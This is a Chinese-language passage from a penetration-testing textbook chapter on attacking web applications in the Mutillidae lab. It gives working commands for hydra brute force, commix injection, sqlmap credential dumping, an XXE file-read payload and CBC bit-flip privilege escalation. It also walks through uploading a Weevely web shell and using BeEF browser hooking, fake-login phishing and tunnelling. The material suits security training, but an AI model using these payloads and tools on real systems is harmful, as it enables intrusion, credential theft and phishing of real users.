负载均衡检测器 (lbd) 是一个 Bash shell 脚本,用于确定给定域名是否使用 DNS 和/或 HTTP 负载均衡。从测试人员的角度来看,这是一个重要信息,因为它可以解释当测试一个服务器时出现的异常结果,然后负载均衡器将请求切换到另一个服务器。lbd 使用多种检查方法来识别负载均衡的存在。示例输出如 图 7.5 所示:

图 7.5:使用 DNS HTTP 差异进行负载均衡器检测

Web 应用和 CMS 的指纹识别

Web 应用指纹识别是渗透测试人员的第一项任务,目的是找出运行中的 Web 服务器的版本和类型,以及所实现的 Web 技术。这些信息可以帮助攻击者确定已知的漏洞及其适用的利用方式。

攻击者可以使用任何能够连接到远程主机的命令行工具。例如,我们在 图 7.6 中使用了 netcat 命令连接到受害主机的 80 端口,并发出了 HTTP HEAD 命令,以识别服务器上运行的内容:

图 7.6:通过 netcat 和 HTTP 请求头进行横幅抓取

这将返回一个 HTTP 服务器响应,其中包含应用程序运行所在的 Web 服务器类型,以及server部分提供有关应用构建技术的详细信息——在本例中为PHP 7.1.30

现在,攻击者可以使用诸如 CVE Details 之类的资源来确定已知漏洞(见 www.cvedetails.com/vulnerability-list/vendor_id-74/product_id-128/PHP-PHP.html)。

渗透测试的最终目标是获取敏感信息。应检查网站,以确定用于构建和维护该网站的CMS。例如 Drupal、Joomla 和 WordPress 等 CMS 应用程序,可能配置有脆弱的管理界面,允许访问提升的权限,或者可能包含可被利用的漏洞。

Kali 包含一个自动化扫描工具wpscan,可以识别 WordPress CMS 的指纹,以确定版本信息,如下所示:

sudo wpscan –-url <website.com> 

样本输出如图 7.7所示:

文本描述自动生成

图 7.7:通过 wpscan 识别 WordPress 并进行扫描

一种特定的扫描工具——自动化网页爬虫——可用于验证已收集的信息,并确定特定网站的现有目录和文件结构。网页爬虫的典型发现包括管理门户、可能包含硬编码访问凭证和内部结构信息的配置文件(当前版本和历史版本)、网站备份副本、管理员备注、机密个人信息以及源代码。

Kali 支持多个网页爬虫,包括 Burp Suite Community Edition、DirBuster、ZAP、dirb、wfuzz 和 CutyCapt。最常用的工具是 DirBuster。

DirBuster 是一个基于 GUI 的应用程序,使用可能的目录和文件列表来对网站结构进行暴力破解分析。响应结果可以以列表或树形格式显示,后者更准确地反映了网站结构。对目标网站执行此应用程序的输出如图 7.8所示。

以下是在 GUI 中打开 DirBuster 并启动扫描的步骤:

  1. 通过在终端中运行sudo dirbuster,或从应用程序 > 03 网络应用分析 > 网页爬虫与目录暴力破解 > dirbuster来打开该应用程序。

  2. 目标 URL中输入我们的网站地址。

  3. 通过点击浏览来选择字典文件;该字典可以自定义,也可以使用存储在/usr/share/dirbuster/wordlists/中的常用字典。

  4. 输入文件扩展名并点击开始

    图 7.8:运行 OWASP DirBuster 来枚举目标网站应用中的有效文件

从命令行镜像网站

攻击者可能需要花费大量时间识别特定页面/URL 位置的漏洞。常见策略包括克隆或下载所有可用的站点信息到本地,以缩小正确的入口点进行利用,并执行社交工程攻击以收集电子邮件地址和其他相关信息。

也可以直接将网站复制到测试人员的位置。这使得测试人员可以查看目录结构及其内容,从本地文件中提取元数据,并将站点内容作为程序(如 crunch)的输入,从而生成个性化的密码破解字典。

一旦你绘制出网站和/或交付的网络服务的基本结构,接下来的步骤是识别可以被利用的漏洞。

在 Kali Linux 2021.4 中,工具没有预先安装;但是,可以通过在终端中运行 sudo apt install httrack 来安装,然后输入 httrack 查看渗透测试人员下载网站内容到本地系统的选项。Httrack 是一个命令行和 GUI 工具,广泛用于制作任何网站的本地副本。攻击者可以直接发出 httrack http://targetwebapp/ -O outputfolder 命令,如图 7.9所示:

图 7.9:运行网站复制工具 httrack

一旦 httrack 完成,测试人员就应该能够在本地加载应用程序并收集信息,识别 HTML 注释或备份文件中的硬编码凭据,或识别设计/实现缺陷。

客户端代理

客户端代理拦截 HTTP 和 HTTPS 流量,允许渗透测试人员检查用户与应用程序之间的通信。它允许测试人员复制数据或与发送到应用程序的请求进行交互,从而使他们能够操控或绕过客户端限制。

客户端代理最初是为调试应用程序而设计的;攻击者可以滥用相同的功能来执行中间人攻击或浏览器中间人攻击。

Kali 自带了多个客户端代理工具,包括 Burp Suite 和 ZAP。经过广泛测试,我们已依赖 Burp Proxy,并将 ZAP 作为备用工具。在本节中,我们将探讨 Burp Suite。

Burp Proxy

在本节中,我们将使用 Mutillidae,这个我们在构建虚拟实验室时安装的 Web 应用程序,安装过程见第一章基于目标的渗透测试。Burp 主要用于拦截 HTTP(S) 流量;最新版本是 Burp Suite Community Edition 2021.9.1(Kali Linux 2021.4 默认安装的版本是 2021.8.2)。然而,它是一个包含多个附加功能的大型工具套件,功能包括以下几点:

  • 一款应用感知工具(具有关于应用程序的内置信息),能够对目标网站进行深度爬取

  • 一个漏洞扫描器,包括一个序列生成器,用于测试会话令牌的随机性,以及一个重复器,用于操控并重新发送客户端与网站之间的请求(漏洞扫描器不包括在 Kali 附带的 Burp Proxy 的免费版本中)

  • 一个入侵者工具,可用于发起自定义攻击(Kali 附带的免费版工具有速度限制;如果购买软件的商业版,这些限制将被移除)

  • 可以编辑现有插件或编写新插件,以扩展可用的攻击类型和数量

  • 一个解码器,用于解码已知的密文,一个比较器,用于进行字词或字节级的比较,以及一个扩展器,用于添加任何第三方插件或自定义代码

要使用 Burp,确保你的网页浏览器配置为使用本地代理;通常,你需要调整网络设置,指定 HTTP 和 HTTPS 流量必须使用本地地址 (127.0.0.1),端口为 8080

在设置好浏览器后,通过终端运行burpsuite打开代理工具,并手动在目标选项卡中映射应用程序。这通过关闭代理拦截来完成,然后浏览整个应用程序。点击每个链接,提交表单,并尽可能多地登录到网站的各个区域。

额外的内容将通过各种响应推断出来。下一步是选择目标网站并右键点击添加到作用域,如以下图 7.10所示。

图 7.10:将特定目标 Web 应用添加到作用域

站点地图将在目标选项卡下填充区域。也可以通过导航到主菜单中的仪表板,选择新建实时任务,选择实时被动爬取,然后点击扫描配置,再点击新建…,输入配置名称crawldeep crawl,然后在要添加的项目类型中选择链接,在要添加的 URL中选择所有,如以下图 7.11所示。然而,手动技术让测试人员有机会更熟悉目标,且可能识别出需要避免的区域,如/.bak文件或.svn文件,这些是渗透测试人员在评估过程中常常忽略的:

图 7.11:扫描配置以爬取目标

完成此操作后,你可以使用显示过滤器隐藏站点地图中不感兴趣的项目。目标网站的站点地图显示在图 7.12中:

图 7.12:Burp Suite 中目标 Web 应用的站点地图

爬取完成后,手动检查目录和文件列表,查看是否有任何结构似乎不属于公开网站,或者似乎无意间泄露了。例如,名为adminbackupdocumentationnotes的目录应当手动检查。

我们将在运行于http://yourIP/mutillidae/的易受攻击的 Web 应用程序中对登录页面进行一些手动测试,方法是将单引号提交到用户名和密码表单中。这一输入将生成一个错误代码,暗示该页面可能受到 SQL 注入攻击的威胁;错误代码的一个示例返回如图 7.13所示:

图 7.13:Mutillidae 中的数据库错误

代理的真正强大之处在于它能够拦截并修改命令。对于这个特定的示例,我们将进行一次通过 SQL 注入绕过认证的攻击。

要发起此攻击,请确保 Burp Proxy 配置为拦截通信,方法是进入Proxy标签页并选择Intercept子标签。确保选择Intercept is on,如图 7.14所示。完成此操作后,打开浏览器窗口并访问 Mutillidae 登录页面,地址为<IP address>/mutillidae/index.php?page=login.php。在NamePassword字段中输入变量,然后点击Login按钮。

如果返回到 Burp Proxy,你将看到用户在网页表单中输入的信息被拦截了:

图 7.14:在 Burp Proxy 中拦截发送到服务器的请求

点击Action按钮,选择Send to Intruder选项。打开主Intruder标签页,你将看到四个子标签,分别是TargetPositionsPayloadsOptions,如图 7.15所示:

图 7.15:将请求加载到 Burp Intruder 模块

如果选择Positions,你将看到从拦截的信息中识别出了五个有效载荷位置。

该攻击将使用 Burp Proxy 的Sniper模式,该模式从测试人员提供的列表中获取一个输入,并将此输入一次性发送到一个有效载荷位置。测试人员需要清除所有预定义的有效载荷位置,并仅选择需要的那些位置,然后继续进行攻击。对于此示例,我们将针对username字段进行攻击,因为根据返回的错误消息,我们怀疑该字段存在漏洞。

要定义有效载荷位置,我们选择Payloads子标签。在本例中,我们选择了一个简单的列表。这个列表可以手动输入,也可以通过从其他来源复制来填充,如图 7.16所示:

图 7.16:将有效载荷添加到入侵者模块

要发起攻击,请从顶部菜单中选择Intruder,然后选择Start Attack。代理将通过将单词列表与选定的有效载荷位置进行匹配,以合法的 HTTP 请求形式进行迭代,并返回服务器的状态码。

图 7.17所示,大多数选项返回的状态码为200(请求成功);然而,部分数据返回状态码为302(请求已找到,表示请求的资源当前位于不同的 URI 下):

图 7.17:在登录表单上成功进行 SQL 注入,获取应用程序访问权限

302 状态表示攻击成功,获得的数据可以成功用于登录目标网站。

不幸的是,这对 Burp Proxy 及其功能的概述过于简短。Kali 中包含的免费版本足以应对许多测试任务;然而,严肃的测试人员(和攻击者)应考虑购买商业版本,该版本提供自动化扫描器、报告功能以及插件以自动化任务。

网络爬虫和目录暴力破解攻击

网络爬虫是使用机器人或自动化脚本从网站获取特定信息的过程。Kali 提供了内建应用来执行此活动。网络爬虫的好处是,它能让你无需手动逐个执行攻击即可抓取数据。

攻击者还可以利用 OWASP DirBuster、dirb、wfuzz 和 CutyCapt 执行相同的操作。

针对 web 服务的特定漏洞扫描器

漏洞扫描器是自动化工具,用于爬行应用程序,识别已知漏洞的特征。

Kali 自带多种不同的预安装漏洞扫描器。渗透测试人员通常会针对同一目标使用两到三个综合扫描器,以确保获得有效的结果,从而实现测试目标。请注意,一些漏洞扫描器还包含攻击功能。

漏洞扫描器通常噪声较大,且通常会被受害者检测到。然而,扫描经常作为常规后台活动被忽略。事实上,一些攻击者已知会对目标发起大规模扫描,以掩盖真正的攻击,或诱使防御者禁用检测系统,以减少他们必须处理的报告数量。

重要的漏洞扫描器包括以下内容:

应用程序 描述
Nikto 一个基于 Perl 的开源扫描器,允许 IDS 规避和用户对扫描模块的更改。这个原始的 web 扫描器开始显得有些老旧,准确性不如一些现代的扫描器。
Skipfish 一个完成递归爬行和基于字典的爬行的扫描器,用于生成目标网站的互动网站地图,并附有额外漏洞扫描的输出注释。
Wapiti 一个基于 Python 的开源漏洞扫描器。
WebSploit 一个高级的中间人攻击MiTM)框架,适用于无线和蓝牙攻击。
ZAP ZAP 是一个开源的 web 应用安全扫描器,涵盖了 OWASP 前十大漏洞,能够执行自动化和手动技术来测试业务登录漏洞,并具有代理功能。

表格 7.1:流行的漏洞扫描器

Kali 还包括一些应用程序特定的漏洞扫描工具。例如,WPScan 专门用于针对 WordPress CMS 应用程序。

应用程序特定的攻击

针对应用程序的攻击比针对特定操作系统的攻击更多。当考虑到可能影响每个在线应用程序的配置错误、漏洞和逻辑错误时,任何应用程序能被认为是安全的都令人惊讶。

我们将重点介绍一些针对 Web 服务的重要攻击。

暴力破解访问凭据

针对网站或其服务的最常见初始攻击之一是对访问认证的暴力破解攻击,猜测用户名和密码。这种攻击的成功率很高,因为用户倾向于选择容易记住的凭据或重复使用凭据,而且系统管理员通常不控制多次访问尝试。

Kali 自带 hydra,一个命令行工具,以及带有图形用户界面的 hydra-gtk。这两个工具都允许测试人员对指定服务进行暴力破解或迭代可能的用户名和密码。支持多种通信协议,包括 FTP、FTPS、HTTP、HTTPS、ICQ、IRC、LDAP、MySQL、Oracle、POP3、pcAnywhere、SNMP、SSH、VNC 等。

以下截图显示了 hydra 使用暴力破解攻击来确定 HTTP 页面上的访问凭据:

hydra -l admin -P <Yourpasswordlist> 10.10.10.100 http-post-form "/mutillidae/index.php page=login.php:username=^USER^&password=^PASS^&login-php-submit-button=Login:Not Logged In"Injection 

在接下来的部分中,我们将探讨攻击者通常利用的常见注入攻击。

使用 commix 进行操作系统命令注入

命令注入工具 (commix) 是一个用 Python 编写的自动化工具,已在 Kali Linux 中预编译,用于在应用程序易受命令注入攻击时执行各种操作系统命令。

它允许攻击者注入到应用程序的任何特定易受攻击部分,甚至是 HTTP 头部中。

commix 还作为附加插件出现在各种渗透测试框架中,如 TrustedSec 的 PenTesters Framework (PTF) 和 OWASP 的 Offensive Web Testing Framework (OWTF)。

攻击者可以通过在终端输入 commix -h 来使用 commix 提供的所有功能。

要模拟攻击,在目标易受攻击的 Web 服务器的终端执行以下命令:

commix --url=http://YourIP/mutillidae/index.php popupnotificationcode=5L5&page=dns-lookup.php --data="target_host=INJECT_HERE" -headers="Accept-Language:fr\n ETAG:123\n" 

当 commix 工具针对易受攻击的 URL 运行时,渗透测试人员应该能够看到命令执行在目标服务器上的进度,并且能够看到哪个参数是易受攻击的。在前面的场景中,target_host 是使用经典注入技术可以注入的变量,如 图 7.18 所示:

图 7.18:使用 commix 进行命令注入

一旦注入成功,攻击者可以在服务器上运行命令,例如,使用 dir 列出所有文件和文件夹,如 图 7.19 所示:

图 7.19:使用 commix 在远程系统上进行远程命令执行

测试人员在共享基础设施上运行 Commix 时必须小心,因为这可能会对托管服务器的内存造成显著负载。

sqlmap

网站中最常见和最易利用的漏洞是注入漏洞,发生在受害网站没有监控用户输入时,从而允许攻击者与后台系统进行交互。攻击者可以构造输入数据来修改或窃取数据库中的内容,将可执行文件上传到服务器,或向操作系统发出命令。

用于评估 SQL 注入漏洞的最有用且强大的工具之一是 sqlmap,它是一个 Python 工具,能够自动化对 Firebird、Microsoft SQL、MySQL(现称为 MariaDB,MySQL 的社区开发和商业支持分支)、Oracle、PostgreSQL、Sybase 和 SAP MaxDB 数据库的侦察与利用。

我们将演示对 Mutillidae 数据库进行 SQL 注入攻击。第一步是确定 web 服务器、后台数据库管理系统以及可用的数据库。

访问 Mutillidae 网站并查看网页,找出接受用户输入的页面(例如,接受远程用户输入用户名和密码的用户登录表单);这些页面可能存在 SQL 注入漏洞。

然后,打开 Kali,在终端中输入以下命令(使用合适的目标 IP 地址):

root@kali:~# sqlmap -u 'http://targetip/mutillidae/index.php?page=user-  info.php&username=admin&password=&user-info-php-submit-  button=View+Account+Details' --dbs 

sqlmap 将返回数据,如图 7.20所示:

图 7.20:sqlmap 在易受攻击的链接上执行的输出

最有可能存储应用程序数据的数据库是 Mutillidae 数据库;因此,我们将使用以下命令检查该数据库的所有表:

root@kali:~# sqlmap -u "http://yourip/mutillidae/index.php?page=user-info.php&username=&password=&user-info-php-submit-button=View+Account+Details" -D mutillidae --tables 

执行该命令返回的数据如图 7.21所示:

图 7.21:使用 sqlmap 列出 Mutillidae 数据库中的所有表

在所有列出的表中,有一个表名为 accounts。我们将尝试从该表部分转储数据。如果成功,账户凭证将允许我们在进一步的 SQL 注入攻击失败时重新访问数据库。

要转储凭证,请使用以下命令:

root@kali:~# sqlmap -u "http://yourip/mutillidae/index.php?page=user-info.php&username=&password=&user-info-php-submit-button=View+Account+Details" -D mutillidae -T accounts --dump 

图 7.22:在选定数据库中转储表的所有内容

上述示例集中在 HTTP GET 参数上。然而,攻击者也可以使用任何代理工具利用 HTTP POST 参数,并捕获客户端的完整 POST 请求,将其复制到文件中,然后运行 sudo sqlmap –r 文件名,如图 7.23所示:

图 7.23:使用 HTTP POST 方法运行 sqlmap

类似的攻击可以针对数据库进行,用以提取信用卡号或其他机密信息,以实现渗透测试或红队演练的目标。

攻击者还可以选择通过使用sqlmap–os-shell在终端切换到sqlmap命令来执行命令。

XML 注入

现在,许多应用程序使用可扩展标记语言XML),它定义了一组规则,用于编码文档,使得人类和机器都能理解。XML 注入是一种通过将意外的消息注入到 XML 结构或内容中,利用 XML 应用程序或服务逻辑的攻击方式。

本节将探讨如何执行 XML 注入,并通过利用开发人员留下的典型配置错误成功获得底层操作系统的访问权限。

按照以下步骤识别是否可以进行 XML 注入:

  1. 访问http:/Your IP/mutillidae/index.php?page=xml-validator.php,如图 7.24所示:

    图 7.24:Mutillidae 上的 XML 验证

  2. 通过在表单中输入以下内容,检查我们是否得到了有效的响应:

    <!DOCTYPE foo [ <!ENTITY Variable  "hello" > ]><somexml><message>&Variable;</message></somexml> 
    

    之前的代码应显示Hello作为响应,如图 7.25所示:

    图 7.25:服务器响应 XML 提交的成功响应

  3. 如果服务器在没有错误消息的情况下响应,它可能容易受到 XML 注入攻击。

  4. 现在,我们可以通过将SYSTEM添加到变量中并调用本地文件来创建有效负载:

    <!DOCTYPE foo [ <!ENTITY testref  SYSTEM  "file:///c:/windows/win.ini" > ]>
    <somexml><message>&testref;</message></somexml> 
    

    如果成功,你应该能够看到被调用文件的内容,如下所示:

    图 7.26:XML 注入成功显示服务器响应中的 win.ini 文件内容

攻击者可能通过直接访问整个系统并在目标网络内横向移动,运行 PowerShell 漏洞。

比特翻转攻击

大多数攻击者并不太关注加密类型的攻击,因为这既费时又需要大量计算能力来破解密文以提取有意义的信息。但在某些情况下,实施的加密逻辑可以很容易理解。

本节将探索比特翻转攻击,这种攻击使用密码块链CBC)来加密给定的明文。

在 CBC 中,在加密一个块之前,明文会与前一个块的加密输出进行 XOR 操作,通过创建一个逻辑链的块,如图 7.27所示:

图 7.27:使用 CBC 进行初始化向量加密

简而言之,XOR 比较两个值,如果它们不同则返回true

这里的潜在攻击场景是什么?如果任何人都可以将明文块与前一个块的加密消息进行 XOR 操作,第一块的 XOR 输入会是什么?你所需要的只是一个初始化向量。通过导航至OWASP 2017 > A1 - 注入(其他) > CBC 比特翻转来访问 Mutillidae:

http://yourip/mutillidae/index.php?page=view-user-privilege-level.php&iv=6bc24fc1ab650b25b4114e93a98f1eba 

测试人员应能够访问以下页面,如图 7.28所示:

图 7.28:默认值访问 CBC 位翻转页面

如我们所见,当前的应用用户正在使用用户 ID 100 和组 ID 100 运行。要成为具有高级权限的 root 用户,你需要是组 ID 和用户 ID 都为 000 的用户。

我们需要操作的唯一内容是 IV 值 6bc24fc1ab650b25b4114e93a98f1eba。由于它是十六进制且长度为 32 个字符,因此长度为 128 位。我们开始评估初始化向量,将值分割成两个字符作为一个块,并通过逐一访问它们来更改 URL 中的值:

  • http://yourIP/mutillidae/index.php?page=view-user-privilege-level.php&iv=``00``c24fc1ab650b25b4114e93a98f1eba:用户或组 ID 无变化

  • http://YourIP/mutillidae/index.php?page=view-user-privilege-level.php&iv=6b``00``4fc1ab650b25b4114e93a98f1eba:用户或组 ID 无变化

当我们到达第五块 6bc24fc100650b25b4114e93a98f1eba 时,我们会看到用户 ID 发生变化,如图 7.29所示:

图 7.29:加密数据的操作及用户 ID 的变化

测试人员可以使用 Python 2(因为 Python 3 中没有十六进制支持)为我们生成十六进制值,如此处所示。在 Kali 终端中输入 python,应该会进入 Python shell 2.7.18 默认版本。我们将对该值进行异或操作,得到结果 000

>>> print hex(0XAB ^ 0X31)
0x9a
>>> print hex(0X9A ^ 0X31)
0xab
>>> print hex(0X9A ^ 0X30)
0xaa 

要成为 root 用户,组 ID 和用户 ID 都需要为 000,因此我们会在所有块上重复此操作,直到值发生变化。最终,我们得到第八块 6bc24fc1ab650b``14``b4114e93a98f1eba,它改变了组 ID;现在,我们将对其执行与用户 ID 相同的操作:

kali@kali:~# python
Type "help", "copyright", "credits" or "license" for more information
>>> print hex(0X25 ^ 0X31)
0x14
>>> print hex(0X14 ^ 0X30)
0x24
>>> exit() 

这为我们提供了以下密钥:6bc24fc1``aa``650b``24``b4114e93a98f1eba。当你传递具有新值的 IV 时,你现在应该能够以增强权限访问应用程序,如图 7.30所示:

图 7.30:通过改变加密右侧值绕过用户权限

即使加密处于最高级别(如 TLS1.3),如果应用程序通过 HTTP GET 方法接受或执行身份验证,攻击者仍然有可能利用路由器等网络设备,并捕获所有 URL 参数。

通过 Web Shell 维持访问

一旦 Web 服务器及其服务被攻破,确保能够维持安全访问非常重要。通常这可以通过 Web Shell 实现,它是一个小程序,提供隐秘的后门访问,并允许使用系统命令来促进后期的攻击活动。

Kali 附带了多个 Web Shell;在这里,我们将使用一个流行的 PHP Web Shell,称为 Weevely。对于其他技术,攻击者可以利用 Kali Linux 中所有预先收集的 Web Shell,这些 Shell 存储在 /usr/share/webshells 文件夹中。

Weevely 模拟一个 Telnet 会话,允许测试者或攻击者利用 30 多个模块来执行后渗透任务,包括以下内容:

  • 浏览目标文件系统

  • 从被攻陷的系统传输文件

  • 执行常见服务器配置错误的审计

  • 通过目标系统进行 SQL 账户的暴力破解

  • 启动反向 TCP Shell

  • 在已被攻陷的远程系统上执行命令,即使已经应用了 PHP 安全限制

最后,Weevely 试图将通信隐藏在 HTTP Cookies 中以避免被检测。要创建 Weevely,可以在命令提示符下输入以下命令:

sudo weevely generate <password> <path> 

这将创建一个名为 404.php 的文件,存储在你输入的路径的 /home/kali 目录中。攻击者可以在渗透测试活动中自行选择文件名,不过,像 404403302 这样的文件名通常表示基于客户端请求返回的页面,这样会让安全监控的蓝队感觉不那么可疑。图 7.31提供了如何运行 weevely 的说明:

图 7.31:使用 Weevely 创建带有密码的 PHP 后门文件

导航到 OWASP 2017 > A6 - 安全配置错误 > 无限制文件上传。我们将利用 Mutillidae 上的文件上传漏洞。上传我们使用 weevely 创建的 404.php 文件到网站,如图 7.32所示:

图 7.32:将后门 PHP 文件上传到我们的目标应用程序

要与 Web Shell 进行通信,可以在命令提示符下输入以下命令,确保目标 IP 地址目录密码 变量更改为被攻陷系统的相应值:

sudo weevely http://<target IP address><directory> <password> 

图 7.33所示的示例中,我们已经验证了使用 whoami 命令(用于识别当前系统)连接到 Web Shell:

图 7.33:通过后门成功以高权限用户身份在目标上运行命令

Web Shell 还可以用来建立一个反向 Shell 连接回测试者,使用 netcat 或 Metasploit 框架作为本地监听器。这可以用于通过水平和垂直提权进一步攻击网络内部。

不幸的是,Weevely 后门只能在 PHP 版本低于 7.2.x 的环境中工作。如果目标网站运行的是 7.3 到 8.x 版本,攻击者可以利用可以从github.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-Testing-4E/tree/main/Chapter%2007/backdoor.php下载的现成后门,并将文件上传到与我们在图 7.32中所做相同的位置。现在我们应该能够看到后门正常工作,如图 7.34所示:

图 7.34:在最新版本的 PHP 上运行后门

浏览器利用框架(BeEF)

BeEF 是一个专注于特定客户端应用程序和网页浏览器的利用工具。BeEF 允许攻击者通过 XSS 或 SQL 注入等攻击将 JavaScript 代码注入到易受攻击的 HTML 代码中。这段利用代码被称为hook。当浏览器执行这个 hook 时,攻击得以实现。浏览器(僵尸)会回连到 BeEF 应用程序,BeEF 向浏览器提供 JavaScript 命令或模块。

BeEF 的模块执行以下任务:

  • 指纹识别和受损浏览器的侦察。它也可以作为一个平台,用于评估漏洞的存在以及它们在不同浏览器下的行为。

    请注意,BeEF 允许我们在同一客户端上挂钩多个浏览器,并跨域管理多个客户端,然后在利用和后期利用阶段进行管理。

  • 对目标主机进行指纹识别,包括虚拟机的存在。

  • 检测客户端上的软件(仅限 Internet Explorer)并获取 Program FilesProgram Files (x86) 目录中的目录列表。这可能会识别出其他可以被利用的应用程序,从而巩固我们对客户端的控制。

  • 使用受损系统的摄像头拍照;这些照片对报告有重大影响。

  • 对受害者的数据文件进行搜索,窃取可能包含身份验证凭证(剪贴板内容和浏览器 cookies)或其他有用信息的数据。

  • 实现浏览器按键记录。

  • 使用 ping 扫描和指纹识别网络设备,进行网络侦察,并扫描开放端口。

  • 从 Metasploit 框架发起攻击。

  • 使用隧道代理扩展,利用受损网页浏览器的安全权限攻击内部网络。

由于 BeEF 是用 Ruby 编写的,它支持多种操作系统(Linux、Windows 和 macOS)。更重要的是,BeEF 易于自定义新的模块,并扩展其功能。

安装和配置 BeEF

BeEF 在 Kali 发行版中并非默认安装。可以直接从 github.com/beefproject/beef 下载。此应用程序可以通过三个简单的步骤进行安装:

  1. 在终端中运行sudo git clone https://github.com/beefproject/beef

  2. 使用 cd beef 命令更改文件夹

  3. 通过在终端中运行 sudo ./install 安装所有依赖项和相关包。

  4. 最后,运行 sudo bundle install 安装相关的 Ruby gems 和包

如果测试人员在安装 BeEF 时收到任何错误信息(第 3 步),特别是与未满足的依赖项(如 libgcc-9-dev)相关的错误,建议他们将以下仓库添加到 /etc/apt/sources.list 文件中,然后运行 sudo apt update,最后执行 sudo ./install

deb http://http.kali.org/kali kali-last-snapshot main non-free contrib

deb http://http.kali.org/kali kali-experimental main non-free contrib

deb-src http://http.kali.org/kali kali-rolling main non-free contrib

默认情况下,BeEF 未与 Metasploit 框架集成。要集成 BeEF,你需要执行以下步骤:

  1. 编辑位于你下载/克隆 BeEF 的同一文件夹中的主配置文件,使用 sudo 权限打开 config.yaml 以编辑内容。如果没有更改默认的用户名和密码,BeEF 应用程序将无法启动,因此建议测试人员将默认凭证作为第一步进行更改,如 图 7.35 所示:

    图 7.35:更改 BeEF 应用程序的默认凭证

  2. 编辑位于 /Beef/extensions/metasploit/config.yml 的文件。默认情况下,所有内容都设置为 localhost(127.0.0.1)。如果你在局域网中运行 Metasploit 服务,则需要编辑 hostcallback_hostos 'custom', path 行,包含你的 IP 地址和 Metasploit 框架的位置。正确编辑后的 config.yml 文件如 图 7.36 所示:

    图 7.36:使用 Metasploit 框架配置 BeEF 扩展

  3. 启动 msfconsole,并加载 msgrpc 模块,如 图 7.37 所示。确保包括密码:

    图 7.37:使用自定义密码允许 MSGRPC 服务在网络 IP 上运行

  4. 通过在应用程序下载的相同位置使用以下命令启动 BeEF:

    sudo ./beef 
    
  5. 通过查看程序启动时生成的消息来确认启动。这些消息应表明与 Metasploit 的成功连接,并伴有 Metasploit 漏洞已加载的提示。成功启动的程序如 图 7.38 所示:

    图 7.38:成功启动 BeEF 应用程序

当你重新启动 BeEF 时,使用 -x 参数来重置数据库。

在这个示例中,BeEF 服务器运行在 10.10.10.12 上,钩子 URL(我们希望目标激活的 URL)是 10.10.10.12:3000/hook.js

BeEF 大部分的管理和操作都是通过 Web 界面进行的。要访问控制面板,请前往 http://<IP 地址>:3000/ui/panel

攻击者应该看到以下截图;登录凭证将按 config.yaml 中的设置输入:

图 7.39:登录 BeEF 应用程序

了解 BeEF 浏览器

启动 BeEF 控制面板时,它会展示 入门指南 页面,页面上有指向在线站点的链接,以及可以用于验证各种攻击的演示页面。BeEF 控制面板如 图 7.40 所示:

图 7.40:BeEF 浏览器在成功认证后跟随

如果你已经钩住了受害者,界面将分为两个面板:

  • 在面板的左侧,我们有钩住的浏览器;测试人员可以看到每个连接的浏览器,并查看其主机操作系统、浏览器类型、IP 地址和已安装的插件信息。由于 BeEF 会设置一个 cookie 来识别受害者,因此它可以参考这些信息并保持一致的受害者列表。

  • 面板的右侧是所有操作的发起地点,并且结果在此处显示。在命令选项卡中,我们可以看到针对已钩住浏览器的不同攻击向量的分类存储库。此视图会根据每个浏览器的类型和版本有所不同。

BeEF 使用一种颜色编码方案来根据命令对特定目标的可用性进行分类。使用的颜色如下:

  • 绿色:表示命令模块对目标有效,并且应该对受害者不可见。

  • 橙色:表示命令模块对目标有效,但可能会被受害者检测到。

  • 灰色:表示命令模块尚未经过验证,无法针对目标使用。

  • 红色:表示命令模块对目标无效。可以使用,但不保证成功,且可能会被目标检测到。

请对这些指示保持谨慎态度,因为客户端环境的差异可能使某些命令无效,或导致其他意外结果。

要开始攻击或钩住受害者,我们需要让用户点击钩子 URL,格式为<IP 地址>:<端口>/hook.js。这可以通过多种方式实现,包括:

  • 原始 XSS 漏洞

  • 中间人攻击(特别是使用 BeEF Shank 的攻击,这是一种 ARP 欺骗工具,专门针对内部网络中的内网网站)

  • 社会工程学攻击,包括 BeEF 网页克隆器和群发邮件工具、自定义钩子点与 iFrame 伪装,或二维码生成器

一旦浏览器被钩住,它就被称为僵尸。请选择命令界面左侧钩住的浏览器面板中的僵尸 IP 地址,然后查看可用的命令。

在下面截图所示的示例中,钩住的浏览器提供了几种不同的攻击和管理选项。最简单的攻击选项之一是社会工程学Clippy攻击。

当在命令下的模块树中选择Clippy时,将在最右侧启动一个特定的Clippy面板,如下图所示。它允许你调整图像、所传递的文本,以及如果受害者点击提供的链接时将在本地启动的可执行文件。

默认情况下,自定义文本会通知受害者他们的浏览器已过时,并提供为他们更新浏览器的选项,下载一个可执行文件(无害),然后感谢用户执行更新。所有这些选项都可以由测试者修改:

图 7.41:BeEF Clippy 模块

当 Clippy 执行时,受害者会在他们的浏览器上看到一条消息,如图 7.42所示:

图 7.42:受害者浏览器显示 BeEF 模块 Clippy 消息

这可以是一个非常有效的社会工程攻击。在与客户测试时,我们的成功率(客户下载了一个无害的指示文件)大约为 70%。

一个更有趣的攻击是 "pretty theft",它要求用户提供他们在热门网站上的用户名和密码。例如,Facebook 的 "pretty theft" 选项可以由测试者配置,如图 7.43所示:

图 7.43:假 Facebook 弹窗的 Pretty theft 模块

当攻击执行时,受害者会看到一个看似合法的弹出窗口,如图 7.44所示:

图 7.44:受害者浏览器显示假 Facebook 会话超时

在 BeEF 中,测试者查看攻击历史日志,并可以从命令结果栏的数据字段中推导出用户名和密码,如图 7.45所示:

图 7.45:BeEF 模块 "pretty theft" 捕获受害者输入的数据

另一个可以快速发起的攻击是老式的钓鱼攻击;一旦浏览器被 BeEF 控制,重定向用户到攻击者控制的网站就相当简单。

使用 BeEF 作为隧道代理

隧道技术是将有效负载协议封装在传输协议中(如 IP)的过程。通过隧道技术,您可以跨网络传输不兼容的协议,或者绕过配置为阻止特定协议的防火墙。BeEF 可以配置为充当隧道代理,模拟反向 HTTP 代理——浏览器会话成为隧道,被钩住的浏览器则是出口点。当内部网络被攻破时,这种配置非常有用,因为隧道代理可以用于以下操作:

  1. 在受害者浏览器的安全上下文中浏览已认证站点(客户端 SSL 证书、认证 cookie、NTLM 哈希等)

  2. 使用受害者浏览器的安全上下文爬取被钩住的域

  3. 便于使用诸如 SQL 注入等工具

要使用隧道代理,选择您希望攻击的被钩住的浏览器,并右键单击其 IP 地址。在弹出框中,如图 7.46所示,选择用作代理选项:

图 7.46:通过代理激活浏览器中的中间人攻击

